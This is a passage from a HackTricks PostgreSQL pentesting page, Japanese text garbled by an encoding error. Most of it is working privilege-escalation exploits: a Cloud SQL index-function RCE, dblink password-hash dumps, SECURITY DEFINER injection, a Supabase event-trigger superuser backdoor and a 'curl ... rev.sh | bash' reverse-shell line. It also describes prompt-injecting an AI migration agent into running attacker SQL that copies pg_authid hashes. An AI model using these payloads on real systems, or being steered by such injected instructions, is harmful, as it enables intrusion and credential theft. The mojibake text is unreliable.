Exploitation
- æ°ããããŒãã«ãäœæãããšããããå§ããŸãã
- index颿°ã®ããã®ããŒã¿ãçšæãããããç¡é¢ä¿ãªå 容ãããŒãã«ã«æ¿å ¥ããŸãã
- ã³ãŒãå®è¡ãã€ããŒããå«ãæªæããindex颿°ãäœæããèš±å¯ã®ãªãã³ãã³ããå®è¡ã§ããããã«ããŸãã
- ããŒãã«ã®ææè ã âcloudsqladminâ ã«ALTERããŸããããã¯Cloud SQLãããŒã¿ããŒã¹ã管çã»ä¿å®ããããã«å°çšã§äœ¿çšããGCPã®ã¹ãŒããŒãŠãŒã¶ãŒããŒã«ã§ãã
- ããŒãã«ã«å¯ŸããŠANALYZEãå®è¡ããŸãããã®æäœã«ããPostgreSQLãšã³ãžã³ã¯ããŒãã«ææè ã§ãã âcloudsqladminâ ã®ãŠãŒã¶ãŒã³ã³ããã¹ãã«åãæ¿ãããŸãããã®çµæãæªæããindex颿°ã âcloudsqladminâ ã®æš©éã§åŒã³åºãããå ã»ã©å®è¡ãèš±å¯ãããŠããªãã£ãã·ã§ã«ã³ãã³ããå®è¡å¯èœã«ããŸãã
PostgreSQLã§ã¯ããã®ãããŒã¯æ¬¡ã®ããã«ãªããŸã:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
ãã®åŸãshell_commands_results ããŒãã«ã«ã¯å®è¡ãããã³ãŒãã®åºåãå«ãŸããŸã:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
ããŒã«ã«ãã°ã€ã³
èšå®ãã¹ããäžéšã® postgresql ã€ã³ã¹ã¿ã³ã¹ã§ã¯ä»»æã®ããŒã«ã«ãŠãŒã¶ãŒã§ã®ãã°ã€ã³ãèš±å¯ãããŠããå Žåãããã127.0.0.1 ãã dblink 颿° ã䜿ã£ãŠããŒã«ã«æ¥ç¶ããããšãå¯èœã§ãïŒ
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
åã®ã¯ãšãªãåäœããããã«ã¯ 颿°
dblinkãååšããå¿ èŠããããŸããååšããªãå Žåã¯æ¬¡ã®ããã«äœæããŠã¿ãŠãã ããCREATE EXTENSION dblink;ããå€ãã®æš©éãæã€ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã¯ãããããã®ãŠãŒã¶ãŒãå€éšIPããã®ãã°ã€ã³ãèš±å¯ãããŠããªãå Žåãæ¬¡ã®é¢æ°ã䜿ã£ãŠãã®ãŠãŒã¶ãŒãšããŠã¯ãšãªãå®è¡ã§ããŸã:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
次ã®ããã«ããŠãã®é¢æ°ãååšããã確èªã§ããŸã:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
ã«ã¹ã¿ã å®çŸ©é¢æ° SECURITY DEFINER
In this writeup, pentesters 㯠IBM ãæäŸãã postgres ã€ã³ã¹ã¿ã³ã¹å ã§ privesc ã«æåããŸããããªããªã圌ãã ãã®é¢æ°ã SECURITY DEFINER ãã©ã°ä»ãã§çºèŠãã ããã§ã:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
âŠ
explained in the docs ã«èª¬æãããŠããããã«ãSECURITY DEFINER ãèšå®ããã颿°ã¯ããã®é¢æ°ãææãã user that owns it ã®æš©éã§å®è¡ãããŸãããããã£ãŠããã®é¢æ°ã vulnerable to SQL Injection ã§ãã£ãããæ»æè ãå¶åŸ¡ãããã©ã¡ãŒã¿ã§ privileged actions with params controlled by the attacker ãå®è¡ããŠããå Žåãpostgres å ã§ escalate privileges inside postgres ã«æªçšãããå¯èœæ§ããããŸãã
åã®ã³ãŒãã®4è¡ç®ã§ããã®é¢æ°ã« SECURITY DEFINER ãã©ã°ãä»ããŠããããšãããããŸãã
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
ãã㊠ã³ãã³ããå®è¡:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL ã¯ãSQL ãšæ¯ã¹ãŠãã匷åãªæç¶ãçå¶åŸ¡ãæäŸãã ãã«æ©èœã®ããã°ã©ãã³ã°èšèª ã§ããloops ããã®ä»ã® control structures ãçšããŠããã°ã©ã ããžãã¯ã匷åã§ããŸããããã«ãSQL statements ã triggers 㯠PL/pgSQL language ã§äœæããã颿°ãåŒã³åºãããšãã§ããŸãããã®çµ±åã«ãããããŒã¿ããŒã¹ã®ããã°ã©ãã³ã°ãšèªååã«å¯ŸããŠããå
æ¬çã§æè»ãªã¢ãããŒããå¯èœã«ãªããŸãã
ãã®èšèªãæªçšããŠãPostgreSQL ã«ãŠãŒã¶ã®èªèšŒæ
å ±ã brute-force ãããããšãã§ããŸãã
Privesc by Overwriting Internal PostgreSQL Tables
Tip
次㮠privesc ãã¯ã¿ã¯ããã¹ãŠã®æé ããã¹ãããã SELECT æã ãã§å®è¡ã§ãããããå¶éããã SQLi ã³ã³ããã¹ãã§ç¹ã«æçšã§ã
ãã PostgreSQL server files ãèªã¿æžãã§ãããªããå
éšã® pg_authid ããŒãã«ã«é¢é£ãã PostgreSQL ã®ãªã³ãã£ã¹ã¯ filenode ãäžæžãã㊠superuser ã«ãªãããšãã§ããŸãã
ãã® technique ã®è©³çްã¯hereãåç §ããŠãã ããã
æ»ææé ã¯æ¬¡ã®éãã§ã:
- Obtain the PostgreSQL data directory
pg_authidããŒãã«ã«é¢é£ä»ãããã filenode ãžã®çžå¯Ÿãã¹ãååŸããlo_*functions ãçšã㊠filenode ãããŠã³ããŒãããpg_authidããŒãã«ã«é¢é£ããããŒã¿åãååŸãã- PostgreSQL Filenode Editor ã䜿ã£ãŠ edit the filenode; ãã¹ãŠã®
rol*ããŒã«ãã©ã°ã 1 ã«èšå®ããŠå®å šãªæš©éãä»äžããã - ç·šéæžã¿ filenode ã
lo_*functions çµç±ã§åã¢ããããŒããããã£ã¹ã¯äžã®å ãã¡ã€ã«ãäžæžããã - (ãªãã·ã§ã³) é«è² è·ãª SQL ã¯ãšãªãå®è¡ããŠã¡ã¢ãªå ããŒãã«ãã£ãã·ã¥ãã¯ãªã¢ãã
- ããã§ãã« superadmin ã®æš©éãåŸãããŠããã¯ãã§ãã
Prompt-injecting managed migration tooling
AI-heavy SaaS frontends (e.g., Lovableâs Supabase agent) ã¯ãã°ãã° LLM ã® âtoolsâ ãå ¬éããŠããããããã¯é«æš©éã® service accounts ãšã㊠migrations ãå®è¡ããŸããå®çšçãªã¯ãŒã¯ãããŒã¯æ¬¡ã®éãã§ã:
- å®éã« migrations ãé©çšããŠãã人ç©ãåæãã:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- ç¹æš©ä»ããã€ã°ã¬ãŒã·ã§ã³ããŒã«ãä»ããŠå®è¡äžã® attacker SQL ã« Prompt-inject ããããã€ããŒãã âplease verify this migration is deniedâ ã®ããã«ãã¬ãŒãã³ã°ãããšãåºæ¬çãªã¬ãŒãã¬ãŒã«ãäžè²«ããŠãã€ãã¹ã§ããŸãã
- ãã®ã³ã³ããã¹ãã§ä»»æã® DDL ãå®è¡ãããããçŽã¡ã« attacker-owned ãªããŒãã«ããäœæš©éã¢ã«ãŠã³ãã«æ°žç¶æ§ãæ»ã extensions ãäœæããã
Tip
tool-enabled assistants ã«å¯Ÿããããå€ãã® prompt-injection techniques ã«ã€ããŠã¯ãäžè¬ç㪠AI agent abuse playbook ãåç §ããŠãã ããã
ãã€ã°ã¬ãŒã·ã§ã³çµç±ã§ã® pg_authid ã¡ã¿ããŒã¿ã®ãã³ã
ç¹æš©ãã€ã°ã¬ãŒã·ã§ã³ã¯ãéåžžã®ããŒã«ã§çŽæ¥ã¢ã¯ã»ã¹ããããã¯ãããŠããå Žåã§ããpg_catalog.pg_authid ã attacker-readable ãªããŒãã«ã«ã¹ããŒãžã³ã°ã§ããã
ç¹æš©ãã€ã°ã¬ãŒã·ã§ã³ã§ã® pg_authid ã¡ã¿ããŒã¿ã®ã¹ããŒãžã³ã°
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```äœæš©éãŠãŒã¶ãŒã¯çŸåš public.ai_models ãèªã¿åã£ãŠãSCRAM hashes ãšããŒã«ã®ã¡ã¿ããŒã¿ãååŸã§ããoffline cracking ã lateral movement ã«å©çšã§ããŸãã
postgres_fdw extension ã®ã€ã³ã¹ããŒã«äžã«çºçãã Event-trigger privesc
Managed Supabase ã®ãããã€ã¯ supautils extension ã«äŸåããŠãããprovider ææã® before-create.sql/after-create.sql ã¹ã¯ãªããã§ CREATE EXTENSION ãã©ããããŠçã® superusers ãšããŠå®è¡ããŸããpostgres_fdw ã® after-create ã¹ã¯ãªããã¯çæé ALTER ROLE postgres SUPERUSER ãå®è¡ããALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres ãèµ°ãããŠãã postgres ã NOSUPERUSER ã«æ»ããŸããALTER FOREIGN DATA WRAPPER ã current_user ã superuser ã®ç¶æ
ã§ ddl_command_start/ddl_command_end ã® event trigger ãçºç«ãããããããã®ãŠã£ã³ããŠå
ã§ããã³ããäœæããããªã¬ãŒãæ»æè
ã® SQL ãå®è¡ããããšãã§ããŸãã
Exploit flow:
- PL/pgSQL ã® event trigger 颿°ãäœæãã
SELECT usesuper FROM pg_user WHERE usename = current_userããã§ãã¯ã㊠true ã®å Žåã«ããã¯ãã¢ããŒã«ãäœæããŸãïŒäŸ:CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'ïŒã - ãã®é¢æ°ã
ddl_command_startãšddl_command_endã®äž¡æ¹ã«ç»é²ããŸãã DROP EXTENSION IF EXISTS postgres_fdw CASCADE;ã®åŸã«CREATE EXTENSION postgres_fdw;ãå®è¡ã㊠Supabase ã® after-create ããã¯ãåå®è¡ããŸãã- ããã¯ã
postgresãææ Œããããšãããªã¬ãŒãå®è¡ãããæ°žç¶ç㪠SUPERUSER ããŒã«ãäœæãããããpostgresã«ä»äžããŠSET ROLEã§å®¹æã«ã¢ã¯ã»ã¹ã§ããããã«ããŸãã
postgres_fdw ã® after-create ãŠã£ã³ããŠåã Event trigger PoC
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase ã® unsafe triggers ãã¹ããããã詊ã¿ã¯æææš©ã®ã¿ããã§ãã¯ãããããtrigger 颿°ã®ææè
ãèªåã®äœæš©éããŒã«ã«ããŠããå¿
èŠãããããã ããpayload 㯠hook ã `current_user` ã SUPERUSER ã«åãæ¿ãããšãã«ã®ã¿å®è¡ããããtrigger ã¯å°æ¥ã® DDL ã§åå®è¡ãããããããããã€ããããã³ãããŒã«ãäžæçã«ææ Œããããã³ã«ãèªå修埩ããæç¶åããã¯ãã¢ãšããŠãæ©èœããã
### äžæç㪠SUPERUSER ã¢ã¯ã»ã¹ããã¹ã䟵害ã«å€ãã
`SET ROLE priv_esc;` ãæåãããã以åã«ãããã¯ãããŠããããªããã£ããåå®è¡ãã:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM ã¯ããŒã¿ããŒã¹ã® OS ã¢ã«ãŠã³ããšããŠä»»æã®ãã¡ã€ã«ã¢ã¯ã»ã¹ããã³ command execution ãæäŸããŸããç¶ããŠæšæºç㪠host privilege escalation ãè¡ã£ãŠãã ãã:
find / -perm -4000 -type f 2>/dev/null
èšå®ãã¹ã® SUID binary ã writable config ãæªçšãããš root ãååŸã§ãããroot ãååŸãããããªãŒã±ã¹ãã¬ãŒã·ã§ã³ã®è³æ Œæ
å ±ïŒsystemd unit env filesã/etc/supabaseãkubeconfigsãagent tokensïŒãåéããŠããããã€ãã®ãªãŒãžã§ã³å
šäœã§ pivot laterally ããã
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
ãã°
postgresql.conf ãã¡ã€ã«å ã§ãpostgresql ã®ãã°ãæå¹ã«ããããã«ä»¥äžã倿ŽããŸã:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
ãã®åŸããµãŒãã¹ãåèµ·åããŠãã ããã
pgadmin
pgadmin ã¯PostgreSQLã®ç®¡çã»éçºãã©ãããã©ãŒã ã§ãã
pgadmin4.db ãã¡ã€ã«å
ã§ãã¹ã¯ãŒããèŠã€ããããšãã§ããŸãã
ã¹ã¯ãªããå
ã®_decrypt_颿°ã䜿ã£ãŠåŸ©å·ã§ããŸã: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
PostgreSQL ã®ã¯ã©ã€ã¢ã³ãèªèšŒã¯ pg_hba.conf ãšããèšå®ãã¡ã€ã«ã§ç®¡çãããŸãããã®ãã¡ã€ã«ã¯è€æ°ã®ã¬ã³ãŒããæã¡ãåã¬ã³ãŒãã¯æ¥ç¶ã¿ã€ããã¯ã©ã€ã¢ã³ãã® IP ã¢ãã¬ã¹ç¯å²ïŒè©²åœããå ŽåïŒãããŒã¿ããŒã¹åããŠãŒã¶ãŒåãããã³æ¥ç¶ã®ç §åã«çšããèªèšŒæ¹åŒãæå®ããŸããæ¥ç¶ã¿ã€ããã¯ã©ã€ã¢ã³ãã¢ãã¬ã¹ãèŠæ±ãããããŒã¿ããŒã¹ããŠãŒã¶ãŒåã«äžèŽããæåã®ã¬ã³ãŒããèªèšŒã«äœ¿çšãããŸããèªèšŒã«å€±æããå Žåã®ãã©ãŒã«ããã¯ãããã¯ã¢ããã¯ãªããã¬ã³ãŒããäžã€ãäžèŽããªãå Žåã¯ã¢ã¯ã»ã¹ãæåŠãããŸãã
pg_hba.conf ã§å©çšã§ãããã¹ã¯ãŒãããŒã¹ã®èªèšŒæ¹åŒã¯ md5, crypt, password ã§ãããããã¯ãã¹ã¯ãŒãã®éä¿¡æ¹æ³ãç°ãªãïŒmd5 㯠MD5-hashedãcrypt 㯠crypt-encryptedãpassword 㯠clear-textïŒãcrypt æ¹æ³ã¯ pg_authid ã«æå·åãããŠä¿åããããã¹ã¯ãŒããšã¯äœµçšã§ããªãç¹ã«æ³šæããŠãã ããã
åèæç®
- SupaPwn: Hacking Our Way into Lovableâs Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


